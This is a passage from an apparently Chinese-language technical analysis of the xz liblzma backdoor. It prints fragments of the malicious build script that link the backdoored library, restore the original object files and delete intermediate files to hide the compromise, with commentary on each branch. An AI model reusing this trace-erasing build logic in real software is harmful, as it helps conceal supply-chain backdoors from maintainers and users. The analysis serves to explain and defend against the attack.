if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
if test ! -f .libs/liblzma.so; then
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
这里尝试使用libtool链接生成liblzma.la
文件,如果能生成这个文件,代表可以链接生成liblzma.so
如果可以生成liblzma.la
则接着测试.libs/liblzma.so
是否存在,如果存在则代表后门成功插入,那么会将之前备份的正常文件覆盖编译生成的恶意文件,恢复原状。当然不管存不存在都会删除编译过程中生成的中间文件。
如果不能生成liblzma.la
,则跟前面一样将之前备份的正常文件覆盖编译生成的恶意文件
rm -f .libs/liblzma_la-crc32-fast.o || true
rm -f .libs/liblzma_la-crc64-fast.o || true
删除之前备份的原对象文件。
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
这个分支是编译恶意liblzma_la-crc32_fast.o
失败的else分支,编译失败会恢复原装
else
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f liblzma_la-crc64-fast.o || true
fi
这个分支是编译恶意liblzma_la-crc64_fast.o
失败的分支,当编译失败后,不会进入其内编译恶意liblzma_la-crc32_fast.o
,素以这里只需要删除liblzma_la-crc64-fast.o
即可。
最后再尝试删除liblzma_la-crc64-fast.o
,完全清除了攻击者执行的恶意编译痕迹。
参考
https://research.swtch.com/xz-script
-
https://research.swtch.com/xz-script ↩︎ ↩︎ ↩︎
-
https://twitter.com/nugxperience/status/1773906926503591970 ↩︎
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论